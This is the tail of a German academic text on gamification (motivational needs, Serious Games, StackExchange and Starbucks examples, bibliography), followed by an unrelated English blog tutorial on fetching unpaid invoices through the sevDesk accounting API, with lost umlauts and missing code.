• Teams sind Gruppen aus echten Spielern oder Nicht-Spieler-Charakteren (engl. Nonplayer character, kurz. NPC), die das Verhalten von echten Spielern simulieren. Die Teammitglieder bilden ein Team, um zusammen ein gemeinsames Ziel zu erreichen [WH12].

Der Zweck dieser Elemente ist, den Spieler zu motivieren, bestimmte Aufgaben erfolgreich und mit Engagement zu erledigen. Der Begriff Motivation bezeichnet den Antrieb hinter dem Handeln, welches sich in der Entscheidung eines Einzelnen, sich fr eine bestimmte Aktivitt zu entscheiden und durch die Intensitt und Beharrlichkeit, mit der diese verfolgt wird, uert [RW15]. Den Game-Design-Elementen knnen
nun Bedrfnisse zugeschrieben werden, die die motivierende Wirkung aus psychologischer Sicht beschreiben [Sai+14]. Sailer, J. U. Hense u. a. konzentrieren sich auf folgende Bedrfnisse:

• Das Bedrfnis nach Kompetenz bezieht sich auf das Gefhl von Effizienz und Erfolg whrend der Interaktion mit der Umgebung [Sai+17; VR13]. Punktesysteme, Diagramme, Abzeichen und Ranglisten knnen dieses Gefhl vermitteln [Mei+14].
• Das Bedrfnis nach Autonomie beschreibt das Gefhl, Entscheidungen aufgrund eigener Werte und Interessen zu treffen [DV03]. Das Whlen eines Avatars und bedeutungsvolle Geschichten knnen dem Spieler das Gefhl der Autonomie vermitteln [RR11].
• Das Bedrfnis nach sozialer Verbundenheit stellt den grundlegenden Wunsch des Einzelnen nach der kohrenten Integration in ein soziales Umfeld dar [Sai+17; DV03]. Dieses Bedrfnis kann sowohl durch eine bedeutungsvolle Geschichte als auch durch Teams aus Spielern oder Nicht-Spieler-Charakteren erfllt werden.

Immer hufiger wird der Begriff Serious Games mit Gamification in Verbindung gebracht [DS16]. Es gibt aber doch signifikante Unterschiede. Serious Games sind als Spiel von Grund auf entwickelt, finden also auch in einer virtuellen Spielwelt statt. Sie wurden nicht zum Zweck der Unterhaltung entwickelt, sondern um den Spieler etwas zu kommunizieren [DS16]. Hufige Anwendungsgebiete fr Serious Games sind zum Beispiel das Personaltraining oder die Medizin. Von Gamification hingegen spricht man, wenn sich eine Anwendung, meist mit kommerziellen Hintergrund und spielerisch gestaltet, in einem spielfremden Kontext befindet.

Es gibt bereits viele erfolgreiche Beispiele der Gamification im Software- und Anwendungsbereich. Das bekannteste Beispiel ist wahrscheinlich mit ber 10 Millionen registrierten Nutzern [Staa] die Internetplattform StackExchange. Sie bietet Nutzern die Mglichkeit, zu bestimmten Themengebieten Fragen zu stellen und Antworten zu geben. Fragen, Antworten und Kommentare knnen dann von Nutzern bewertet werden. Nutzer, die positive Bewertungen erhalten, zum Beispiel aufgrund einer hilfreichen Antwort, werden sogenannte Reputationspunkte (sog. Reputation) gutgeschrieben, mit denen man Funktionalitten auf der Plattform (sog. Privileges) und Abzeichen fr sein Profil (sog. Badges) freischaltet. Die Abzeichen und Reputationspunkte sind ffentlich und knnen auf Ranglisten und Profilen eingesehen werden, was automatisch zu einem sozialen Wettbewerb fhrt [Stab]. Weil dieses Prinzip so gut funktionierte, haben sich viele hnliche Plattformen davon inspieren lassen [DT13]. So nutzt zum Beispiel die Plattform RedCritter ein hnliches System fr das Projektmangement, mit dem sich dann die Mitarbeiter firmenintern echte Belohnungen, wie zum Beispiel einen Getrnkegutschein, verdienen knnen [Red]. CRM.me bietet eine komplette Customer-Relationship-Management-Softwarelsung an, also eine Software, um die Kundenbeziehungen zu verwalten, die sich das Prinzip Gamification intensiv zu nutze macht [Gra]. Hier gibt es Profile, Ranglisten, Auszeichnungen, Erfolgsserien, Auftrge und die Mglichkeit, echtes Geld, Eintrittskarten und Urlaubsfinanzierungen als Belohnung zu erhalten [Gra]. My Starbucks Rewards von Starbucks Coffee Company ist ein Belohnungsprogramm, das Gamification nutzt, um die Kundenbeziehungen und Kundenbindung zu verbessern [CG14]. Nach dem Registrieren auf der Webseite, in der man seine persnlichen Daten angibt, erhlt man eine kostenlose Starbucks-Mitgliedskarte [CG14]. Diese kann man mit vier US-Dollar aufladen, um das erste Level zu erreichen und ein Gratis Willkommensgetrnk zu erhalten [CG14]. Wenn man die Karte dann weiterhin nutzt, um bei Starbucks einzukaufen, erhlt man Punkte (sog. Stars), man steigt weitere Level auf und erhlt mehr kostenloses Essen und Getrnke [Stac].

Den Trend der letzten Jahre folgend wird das Thema Gamification vermutlich nicht an Attraktion verlieren. Nach den Berechnungen von Business Wire wird 2021 der Gamification-Markt einen Wert von 12 Milliarden US-Dollar erreichen [Bus]. Bereits heute wird das Konzept in vielerlei Plattformen und Software eingesetzt. Die Studien von Oulasvirta, Rattenbury u. a. zeigen, dass Nutzer ihre Handys ber 30 mal am Tag mit einer Gesamtzeit von ungefhr drei Stunden benutzt haben [Oul+12]. Der Gedanke Gamification auf Smartphones einzusetzen, liegt daher nahe. Was einige Gehirntrainings-Anwendungen bereits machen, knnte auch fr Produktivittsanwendungen eingesetzt werden. Ein groes Anwendungsgebiet fr die Gamification sehe ich in der Bildungsbranche: Insbesondere Online-Lernplattformen sind hufig monoton gestaltet. Meiner Meinung nach kann durch die Anwendung der Konzepte der Gamification nicht nur der Lernspa, sondern auch die Langzeitmotivation gesteigert werden. In Zukunft werden auch sicher weitere Game-Design-Elemente entwickelt. Vorstellbar ist der Einsatz von Technologien wie Spracherkennung, sowie maschinelles Lernen und Sehen. Dank dieser knnen dann auch nicht nur einfache Aufgaben belohnt werden, sondern auch kreative Erzeugnisse bewertet und ausgezeichnet werden. Sicher werden auch die Virtuelle (engl. Virtual Reality) und erweiterte Realitt (engl. Augmented Reality) eine groe Rolle spielen.

Literatur

[Bur10] J. C. Burguillo. Using game theory and Competition-based Learning to stimulate student motivation and performance. In: Computers & Education 55.2 (2010), S. 566575. issn: 03601315. doi: 10.1016/j.compedu.2010.02.018.
[Bus] Business Wire. Value of the gamification market worldwide in 2016 and 2021(in billion U.S. dollars). url: https://www.statista.com/statistics/608824/gamification-market-value-worldwide/
(besucht am 01. 05. 2019).
[CG14] R. Conaway und M. C. Garay. Gamification and service marketing. In: SpringerPlus 3.1 (2014), S. 653. issn: 21931801. doi: 10.1186/21931801-3653.
[Det+11] S. Deterding, D. Dixon, R. Khaled und L. Nacke. From game design elements to gamefulness. In: Proceedings of the 15th International Academic MindTrek Conference Envisioning Future Media Environments. Hrsg. von A. Lugmayr, H. Franssila, C. Safran und I. Hammouda. New York, NY: ACM, 2011, S. 9. isbn: 9781450308168. doi: 10.1145/2181037.2181040.
[DS16] A. Darejeh und S. S. Salim. Gamification Solutions to Enhance Software User EngagementA Systematic Review. In: International Journal of Human-Computer Interaction 32.8 (2016), S. 613642. issn: 10447318. doi: 10.1080/10447318.2016.1183330.
[DT13] D. J. Dubois und G. Tamburrelli. Understanding gamification mechanisms for software development. In: 2013 9th Joint Meeting of the European Software Engineering Conference and the ACM SIGSOFT Symposium on the Foundations of Software Engineering (ESEC/FSE). Hrsg. von B. Meyer, L. Baresi und M. Mezini. New York, NY: Association for Computing Machinery, 2013, S. 659. isbn: 9781450322379. doi: 10.1145/2491411.2494589.
[DV03] E. L. Deci und M. Vansteenkiste. Self-determination theory and basic need satisfaction: understanding human development in positive psychology. 2003.
[Gra] L. Gravity4 Software Holdings. CRM.me Gamification: Discover how CRM.me produces better business results through gamification. url: https://crm.me/gamification/ (besucht am 02. 05. 2019).
[HKS14] J. Hamari, J. Koivisto und H. Sarsa. Does Gamification Work?A Literature Review of Empirical Studies on Gamification. In: IEEE 8th International Symposium on Service-Oriented System Engineering (SOSE), 2014. Piscataway, NJ: IEEE, 2014, S. 30253034. isbn: 9781479925049. doi: 10.1109/HICSS. 2014.377.
[Mei+14] S. A. Meijer, R. Smeds, J. Hense, M. Klevers, M. Sailer, T. Horenburg, H. Mandl und W. Gnthner, Hrsg. Using Gamification to Enhance Staff Motivation in Logistics: Frontiers in Gaming Simulation. Springer International Publishing, 2014. isbn: 9783319049540.
[Mor+18] B. Morschheuser, L. Hassan, K. Werder und J. Hamari. How to design gamification? A method for engineering gamified software. In: Information and Software Technology 95 (2018), S. 219237. issn: 09505849. doi: 10.1016/j.infsof.2017.10.015.
[Nic15] S. Nicholson. A RECIPE for Meaningful Gamification. In: Gamification in education and business. Hrsg. von T. Reiners und L. C. Wood. Switzerland:Springer, 2015, S. 120. isbn: 9783319102085. doi: 10.1007/9783319-102085_1.
[Oul+12] A. Oulasvirta, T. Rattenbury, L. Ma und E. Raita. Habits make smartphone use more pervasive. In: Personal and Ubiquitous Computing 16.1 (2012), S. 105114. issn: 16174909. doi: 10.1007/s0077901104122.
[Red] RedCritter Corp. How it works. url: https://www.redcritter.com/howitworks.aspx (besucht am 01. 05. 2019).
[RR11] S. Rigby und R. M. Ryan. Glued to games: How video games draw us in and hold us spellbound. New directions in media. Santa Barbara, Calif, Denver, Colorado und Oxford: Praeger, 2011. isbn: 9780313362248
[RW15] T. Reiners und L. C. Wood, Hrsg. Gamification in education and business. Switzerland: Springer, 2015. isbn: 9783319102085. doi: 10.1007/978-3319102085.
[Sai+14] M. Sailer, J. Hense, H. Mandl und M. Klevers. Psychological Perspectives on Motivation through Gamification. In: Interaction Design and Architecture(s) 19 (2014), S. 2837. issn: 22832998.
[Sai+17] M. Sailer, J. U. Hense, S. K. Mayr und H. Mandl. How gamification motivates: An experimental study of the effects of specific game design elements on psychological need satisfaction. In: Computers in Human Behavior 69 (2017), S. 371380. issn: 07475632. doi: 10.1016/j.chb.2016.12.033.
[Seb+11] Sebastian Deterding, Rilla Khaled, Lennart Nacke und Dan Dixon. Gamification: Toward a Definition. In: CHI 2011 Gamification Workshop Proceedings. Vancouver, BC, Canada, 2011.
[Staa] Stack Exchange Inc. Stack Exchange Overview. url: https://stackexchange.com/sites?view=list#questionsperday (besucht am 01. 05. 2019).
[Stab] Stack Exchange Inc. What is reputation? How do I earn (and lose) it? url: https://stackoverflow.com/help/whats-reputation (besucht am
01. 05. 2019).
[Stac] Starbucks Coffee Company. Starbucks Rewards. url: https://www.starbucks.com/rewards/ (besucht am 06. 05. 2019).
[SZ04] K. Salen und E. Zimmerman. Rules of play: Game design fundamentals. Cambridge, Massachusetts und London: The MIT Press, 2004. isbn: 9780262240451.
[VR13] M. Vansteenkiste und R. Ryan. On psychological growth and vulnerability: basic psychological need satisfaction and need frustration as an unifying principle. In: JOURNAL OF PSYCHOTHERAPY INTEGRATION 3 (2013), S. 263280. issn: 10530479.
[Wer14] K. Werbach. (Re)Defining Gamification: A Process Approach. In: Persuasive Technology. Hrsg. von D. Hutchison, T. Kanade und J. Kittler. Bd. 8462. Lecture Notes in Computer Science / Information Systems and Applications, Incl. Internet/Web, and HCI. Cham: Springer International Publishing, 2014, S. 266272. isbn: 9783319071268. doi: 10.1007/978331907127-5_23.
[WH12] K. Werbach und D. Hunter. For the Win: How Game Thinking Can Revolutionize Your Business. Chicago: Wharton Digital Press, 2012. isbn: 9781613630235.

sevDesk is an accounting cloud-software (SaaS), which offers a simple and intuitive user interface, but allows to book complex processes as in common accounting software. There is other accounting-SaaS too (and I tested most of the big ones), but sevDesk has the most features AND they have a very well-designed REST API which allows you to do anything (and more!), which can be done by the web-based user interface.

Using the sevDesk-API, you can automate every accounting task.

In this introduction, we are going to create a simple Python tool that returns all unpaid invoices.

Step 1: Gather API-token

To get your API token, go to Settings > User (in German: Einstellungen > Benutzer) and click on your useryou will find the token below the language setting. Its recommended to create an extra user.

User settings in sevDesk, showing the API token.

Step 2: Create web requests to the API

At this point, we can finally start coding. The API-endpoints are documented here, you can even enter your token and play around with the API.

This is the Python code to get all unpaid invoices:

Step 3: Create your custom logic

Now you have your basic setup and you could start implementing your custom logic, like reminding your customers to pay their invoices.

For the sake of simplicity, my code example doesnt handle any errors.

Of course, you can use any other programming language for this too. I just use Python for prototyping API-logic, because the interaction with JSON and object-manipulation is great.

Feel free to share your sevDesk-projects with me, I hope to see lots of tools on GitHub.

Further use cases

This was a very simple example, but you can do a lot more with the API, e.g.:

• Automatically backup all your data or send it to the accountant
• Generate Elster-import data for the Zusammenfassende Meldung (a German tax form not supported by sevDesk)
• Automate invoicing for more complex reoccurring payments
• Integrate in your own shop software.
• Create a customer dashboard, which shows all there invoices.